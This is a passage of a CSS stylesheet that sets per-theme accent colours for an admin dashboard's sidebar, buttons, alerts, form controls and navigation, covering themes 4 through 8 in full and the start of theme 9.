{ background: none; } body.theme-4 .nav-pills .nav-link { background: none; } body.theme-4 .nav-pills .nav-link:focus, body.theme-4 .nav-pills .nav-link.active, body.theme-4 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #145388 3.46%, #145388 99.86%), #145388; } body.theme-4 .form-check-input:focus, body.theme-4 .form-select:focus, body.theme-4 .form-control:focus, body.theme-4 .custom-select:focus, body.theme-4 .dataTable-selector:focus, body.theme-4 .dataTable-input:focus { border-color: #145388; box-shadow: 0 0 0 0.2rem rgba(20, 83, 136, 0.25); } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-range::-webkit-slider-thumb { background: #145388; } body.theme-4 .form-range::-webkit-slider-thumb:active { background: #145388; } body.theme-4 .form-range::-moz-range-thumb { background: #145388; } body.theme-4 .form-range::-moz-range-thumb:active { background: #145388; } body.theme-4 .form-check-input:checked { background-color: #145388; border-color: #145388; } body.theme-4 .form-check-input[type="checkbox"]:indeterminate { background-color: #145388; border-color: #145388; } body.theme-4 .form-check .form-check-input.input-primary:checked { background-color: #145388; border-color: #145388; } body.theme-4 pre[class*="language-"] > code { border-left-color: #145388; background-image: linear-gradient(transparent 50%, rgba(20, 83, 136, 0.04) 50%); } body.theme-4 .card .card-header h5:after, body.theme-4 .card .card-header .h5:after, body.theme-4 .card .card-header .h5:after { background: #145388; } body.theme-5 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-5 .bg-primary { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .dash-header .drp-language .drp-text, body.theme-5 .dash-header .dash-head-link > i:not(.nocolor) { color: #B9406B; } body.theme-5 .dash-header .drp-company .theme-avtar { background: #f1d9e1; color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; color: #fff; box-shadow: 0 5px 7px -1px rgba(185, 64, 107, 0.3); } body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-5 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-5 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #B9406B; } body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-5 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #B9406B; } body.theme-5 a:not([class]) { color: #B9406B; } body.theme-5 a:not([class]):hover { color: #B9406B; } body.theme-5 .text-primary { color: #B9406B !important; } body.theme-5 .list-group-item.active { background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B !important; } body.theme-5 .progress-bar:not([class*="bg-"]), body.theme-5 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #9d365b; --bs-btn-hover-border-color: #943356; --bs-btn-focus-shadow-rgb: 196, 93, 129; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #943356; --bs-btn-active-border-color: #8b3050; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #B9406B; --bs-btn-disabled-border-color: #B9406B; } body.theme-5 .btn-outline-primary { --bs-btn-color: #B9406B; --bs-btn-border-color: #B9406B; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #B9406B; --bs-btn-hover-border-color: #B9406B; --bs-btn-focus-shadow-rgb: 185, 64, 107; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #B9406B; --bs-btn-active-border-color: #B9406B; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #B9406B; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #B9406B; --bs-gradient: none; } body.theme-5 .btn-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .btn-light-primary:hover { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary.focus, body.theme-5 .btn-light-primary:focus { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-5 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-5 .btn-light-primary.dropdown-toggle { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .btn-check:active + .btn-light-primary, body.theme-5 .btn-check:checked + .btn-light-primary { background: #B9406B; color: #fff; border-color: #B9406B; } body.theme-5 .alert-primary { --bs-alert-color: #6f2640; --bs-alert-bg: #f1d9e1; --bs-alert-border-color: #eac6d3; } body.theme-5 .alert-primary .alert-link { color: #591e33; } body.theme-5 .badge.bg-light-primary { background: #f1d9e1; color: #B9406B; border-color: #f1d9e1; } body.theme-5 .page-item.active .page-link { background: #B9406B; border-color: #B9406B; } body.theme-5 .nav-link { color: #B9406B; } body.theme-5 .nav-link:hover, body.theme-5 .nav-link:focus { color: #B9406B; } body.theme-5 .nav-tabs .nav-link { background: none; } body.theme-5 .nav-pills .nav-link { background: none; } body.theme-5 .nav-pills .nav-link:focus, body.theme-5 .nav-pills .nav-link.active, body.theme-5 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #B9406B 3.46%, #B9406B 99.86%), #B9406B; } body.theme-5 .form-check-input:focus, body.theme-5 .form-select:focus, body.theme-5 .form-control:focus, body.theme-5 .custom-select:focus, body.theme-5 .dataTable-selector:focus, body.theme-5 .dataTable-input:focus { border-color: #B9406B; box-shadow: 0 0 0 0.2rem rgba(185, 64, 107, 0.25); } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb { background: #B9406B; } body.theme-5 .form-range::-webkit-slider-thumb:active { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb { background: #B9406B; } body.theme-5 .form-range::-moz-range-thumb:active { background: #B9406B; } body.theme-5 .form-check-input:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check-input[type="checkbox"]:indeterminate { background-color: #B9406B; border-color: #B9406B; } body.theme-5 .form-check .form-check-input.input-primary:checked { background-color: #B9406B; border-color: #B9406B; } body.theme-5 pre[class*="language-"] > code { border-left-color: #B9406B; background-image: linear-gradient(transparent 50%, rgba(185, 64, 107, 0.04) 50%); } body.theme-5 .card .card-header h5:after, body.theme-5 .card .card-header .h5:after, body.theme-5 .card .card-header .h5:after { background: #B9406B; } body.theme-6 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-6 .bg-primary { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .dash-header .drp-language .drp-text, body.theme-6 .dash-header .dash-head-link > i:not(.nocolor) { color: #008ECC; } body.theme-6 .dash-header .drp-company .theme-avtar { background: #cce8f5; color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; color: #fff; box-shadow: 0 5px 7px -1px rgba(0, 142, 204, 0.3); } body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-6 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #008ECC; } body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-6 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #008ECC; } body.theme-6 a:not([class]) { color: #008ECC; } body.theme-6 a:not([class]):hover { color: #008ECC; } body.theme-6 .text-primary { color: #008ECC !important; } body.theme-6 .list-group-item.active { background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC !important; } body.theme-6 .progress-bar:not([class*="bg-"]), body.theme-6 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #0079ad; --bs-btn-hover-border-color: #0072a3; --bs-btn-focus-shadow-rgb: 38, 159, 212; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #0072a3; --bs-btn-active-border-color: #006b99; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #008ECC; --bs-btn-disabled-border-color: #008ECC; } body.theme-6 .btn-outline-primary { --bs-btn-color: #008ECC; --bs-btn-border-color: #008ECC; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #008ECC; --bs-btn-hover-border-color: #008ECC; --bs-btn-focus-shadow-rgb: 0, 142, 204; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #008ECC; --bs-btn-active-border-color: #008ECC; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #008ECC; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #008ECC; --bs-gradient: none; } body.theme-6 .btn-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .btn-light-primary:hover { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary.focus, body.theme-6 .btn-light-primary:focus { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-6 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-6 .btn-light-primary.dropdown-toggle { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .btn-check:active + .btn-light-primary, body.theme-6 .btn-check:checked + .btn-light-primary { background: #008ECC; color: #fff; border-color: #008ECC; } body.theme-6 .alert-primary { --bs-alert-color: #00557a; --bs-alert-bg: #cce8f5; --bs-alert-border-color: #b3ddf0; } body.theme-6 .alert-primary .alert-link { color: #004462; } body.theme-6 .badge.bg-light-primary { background: #cce8f5; color: #008ECC; border-color: #cce8f5; } body.theme-6 .page-item.active .page-link { background: #008ECC; border-color: #008ECC; } body.theme-6 .nav-link { color: #008ECC; } body.theme-6 .nav-link:hover, body.theme-6 .nav-link:focus { color: #008ECC; } body.theme-6 .nav-tabs .nav-link { background: none; } body.theme-6 .nav-pills .nav-link { background: none; } body.theme-6 .nav-pills .nav-link:focus, body.theme-6 .nav-pills .nav-link.active, body.theme-6 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #008ECC 3.46%, #008ECC 99.86%), #008ECC; } body.theme-6 .form-check-input:focus, body.theme-6 .form-select:focus, body.theme-6 .form-control:focus, body.theme-6 .custom-select:focus, body.theme-6 .dataTable-selector:focus, body.theme-6 .dataTable-input:focus { border-color: #008ECC; box-shadow: 0 0 0 0.2rem rgba(0, 142, 204, 0.25); } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb { background: #008ECC; } body.theme-6 .form-range::-webkit-slider-thumb:active { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb { background: #008ECC; } body.theme-6 .form-range::-moz-range-thumb:active { background: #008ECC; } body.theme-6 .form-check-input:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check-input[type="checkbox"]:indeterminate { background-color: #008ECC; border-color: #008ECC; } body.theme-6 .form-check .form-check-input.input-primary:checked { background-color: #008ECC; border-color: #008ECC; } body.theme-6 pre[class*="language-"] > code { border-left-color: #008ECC; background-image: linear-gradient(transparent 50%, rgba(0, 142, 204, 0.04) 50%); } body.theme-6 .card .card-header h5:after, body.theme-6 .card .card-header .h5:after, body.theme-6 .card .card-header .h5:after { background: #008ECC; } body.theme-7 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-7 .bg-primary { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .dash-header .drp-language .drp-text, body.theme-7 .dash-header .dash-head-link > i:not(.nocolor) { color: #922C88; } body.theme-7 .dash-header .drp-company .theme-avtar { background: #e9d5e7; color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; color: #fff; box-shadow: 0 5px 7px -1px rgba(146, 44, 136, 0.3); } body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-7 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #922C88; } body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-7 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #922C88; } body.theme-7 a:not([class]) { color: #922C88; } body.theme-7 a:not([class]):hover { color: #922C88; } body.theme-7 .text-primary { color: #922C88 !important; } body.theme-7 .list-group-item.active { background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88 !important; } body.theme-7 .progress-bar:not([class*="bg-"]), body.theme-7 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #7c2574; --bs-btn-hover-border-color: #75236d; --bs-btn-focus-shadow-rgb: 162, 76, 154; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #75236d; --bs-btn-active-border-color: #6e2166; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #922C88; --bs-btn-disabled-border-color: #922C88; } body.theme-7 .btn-outline-primary { --bs-btn-color: #922C88; --bs-btn-border-color: #922C88; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #922C88; --bs-btn-hover-border-color: #922C88; --bs-btn-focus-shadow-rgb: 146, 44, 136; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #922C88; --bs-btn-active-border-color: #922C88; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #922C88; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #922C88; --bs-gradient: none; } body.theme-7 .btn-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .btn-light-primary:hover { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary.focus, body.theme-7 .btn-light-primary:focus { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-7 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-7 .btn-light-primary.dropdown-toggle { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .btn-check:active + .btn-light-primary, body.theme-7 .btn-check:checked + .btn-light-primary { background: #922C88; color: #fff; border-color: #922C88; } body.theme-7 .alert-primary { --bs-alert-color: #581a52; --bs-alert-bg: #e9d5e7; --bs-alert-border-color: #dec0db; } body.theme-7 .alert-primary .alert-link { color: #461542; } body.theme-7 .badge.bg-light-primary { background: #e9d5e7; color: #922C88; border-color: #e9d5e7; } body.theme-7 .page-item.active .page-link { background: #922C88; border-color: #922C88; } body.theme-7 .nav-link { color: #922C88; } body.theme-7 .nav-link:hover, body.theme-7 .nav-link:focus { color: #922C88; } body.theme-7 .nav-tabs .nav-link { background: none; } body.theme-7 .nav-pills .nav-link { background: none; } body.theme-7 .nav-pills .nav-link:focus, body.theme-7 .nav-pills .nav-link.active, body.theme-7 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #922C88 3.46%, #922C88 99.86%), #922C88; } body.theme-7 .form-check-input:focus, body.theme-7 .form-select:focus, body.theme-7 .form-control:focus, body.theme-7 .custom-select:focus, body.theme-7 .dataTable-selector:focus, body.theme-7 .dataTable-input:focus { border-color: #922C88; box-shadow: 0 0 0 0.2rem rgba(146, 44, 136, 0.25); } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb { background: #922C88; } body.theme-7 .form-range::-webkit-slider-thumb:active { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb { background: #922C88; } body.theme-7 .form-range::-moz-range-thumb:active { background: #922C88; } body.theme-7 .form-check-input:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check-input[type="checkbox"]:indeterminate { background-color: #922C88; border-color: #922C88; } body.theme-7 .form-check .form-check-input.input-primary:checked { background-color: #922C88; border-color: #922C88; } body.theme-7 pre[class*="language-"] > code { border-left-color: #922C88; background-image: linear-gradient(transparent 50%, rgba(146, 44, 136, 0.04) 50%); } body.theme-7 .card .card-header h5:after, body.theme-7 .card .card-header .h5:after, body.theme-7 .card .card-header .h5:after { background: #922C88; } body.theme-8 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-8 .bg-primary { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .dash-header .drp-language .drp-text, body.theme-8 .dash-header .dash-head-link > i:not(.nocolor) { color: #C0A145; } body.theme-8 .dash-header .drp-company .theme-avtar { background: #f2ecda; color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; color: #fff; box-shadow: 0 5px 7px -1px rgba(192, 161, 69, 0.3); } body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar.light-sidebar .dash-navbar > .dash-item:hover > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item.active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:active > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:focus > .dash-link i, body.theme-8 .dash-sidebar .dash-navbar > .dash-item:hover > .dash-link i { color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item::before, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item::before { border-right-color: #C0A145; } body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar.light-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item.active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:active > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:focus > .dash-link, body.theme-8 .dash-sidebar .dash-item .dash-submenu .dash-item:hover > .dash-link { color: #C0A145; } body.theme-8 a:not([class]) { color: #C0A145; } body.theme-8 a:not([class]):hover { color: #C0A145; } body.theme-8 .text-primary { color: #C0A145 !important; } body.theme-8 .list-group-item.active { background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145 !important; } body.theme-8 .progress-bar:not([class*="bg-"]), body.theme-8 .btn-primary { --bs-btn-color: #ffffff; --bs-btn-bg: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #a3893b; --bs-btn-hover-border-color: #9a8137; --bs-btn-focus-shadow-rgb: 201, 175, 97; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #9a8137; --bs-btn-active-border-color: #907934; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #ffffff; --bs-btn-disabled-bg: #C0A145; --bs-btn-disabled-border-color: #C0A145; } body.theme-8 .btn-outline-primary { --bs-btn-color: #C0A145; --bs-btn-border-color: #C0A145; --bs-btn-hover-color: #ffffff; --bs-btn-hover-bg: #C0A145; --bs-btn-hover-border-color: #C0A145; --bs-btn-focus-shadow-rgb: 192, 161, 69; --bs-btn-active-color: #ffffff; --bs-btn-active-bg: #C0A145; --bs-btn-active-border-color: #C0A145; --bs-btn-active-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125); --bs-btn-disabled-color: #C0A145; --bs-btn-disabled-bg: transparent; --bs-btn-disabled-border-color: #C0A145; --bs-gradient: none; } body.theme-8 .btn-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .btn-light-primary:hover { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary.focus, body.theme-8 .btn-light-primary:focus { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-light-primary:not(:disabled):not(.disabled).active, body.theme-8 .btn-light-primary:not(:disabled):not(.disabled):active, .show > body.theme-8 .btn-light-primary.dropdown-toggle { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .btn-check:active + .btn-light-primary, body.theme-8 .btn-check:checked + .btn-light-primary { background: #C0A145; color: #fff; border-color: #C0A145; } body.theme-8 .alert-primary { --bs-alert-color: #736129; --bs-alert-bg: #f2ecda; --bs-alert-border-color: #ece3c7; } body.theme-8 .alert-primary .alert-link { color: #5c4e21; } body.theme-8 .badge.bg-light-primary { background: #f2ecda; color: #C0A145; border-color: #f2ecda; } body.theme-8 .page-item.active .page-link { background: #C0A145; border-color: #C0A145; } body.theme-8 .nav-link { color: #C0A145; } body.theme-8 .nav-link:hover, body.theme-8 .nav-link:focus { color: #C0A145; } body.theme-8 .nav-tabs .nav-link { background: none; } body.theme-8 .nav-pills .nav-link { background: none; } body.theme-8 .nav-pills .nav-link:focus, body.theme-8 .nav-pills .nav-link.active, body.theme-8 .nav-pills .show > .nav-link { color: #ffffff; background: linear-gradient(141.55deg, #C0A145 3.46%, #C0A145 99.86%), #C0A145; } body.theme-8 .form-check-input:focus, body.theme-8 .form-select:focus, body.theme-8 .form-control:focus, body.theme-8 .custom-select:focus, body.theme-8 .dataTable-selector:focus, body.theme-8 .dataTable-input:focus { border-color: #C0A145; box-shadow: 0 0 0 0.2rem rgba(192, 161, 69, 0.25); } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb { background: #C0A145; } body.theme-8 .form-range::-webkit-slider-thumb:active { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb { background: #C0A145; } body.theme-8 .form-range::-moz-range-thumb:active { background: #C0A145; } body.theme-8 .form-check-input:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check-input[type="checkbox"]:indeterminate { background-color: #C0A145; border-color: #C0A145; } body.theme-8 .form-check .form-check-input.input-primary:checked { background-color: #C0A145; border-color: #C0A145; } body.theme-8 pre[class*="language-"] > code { border-left-color: #C0A145; background-image: linear-gradient(transparent 50%, rgba(192, 161, 69, 0.04) 50%); } body.theme-8 .card .card-header h5:after, body.theme-8 .card .card-header .h5:after, body.theme-8 .card .card-header .h5:after { background: #C0A145; } body.theme-9 { background: linear-gradient(141.55deg, rgba(240, 244, 243, 0) 3.46%, #f0f4f3 99.86%); } body.theme-9 .bg-primary { background: linear-gradient(141.55deg, #48494B 3.46%, #48494B 99.86%), #48494B !important; } body.theme-9 .dash-header .drp-language .drp-text, body.theme-9 .dash-header .dash-head-link > i:not(.nocolor) { color: #48494B; } body.theme-9 .dash-header .drp-company .theme-avtar { background: #dadbdb; color: 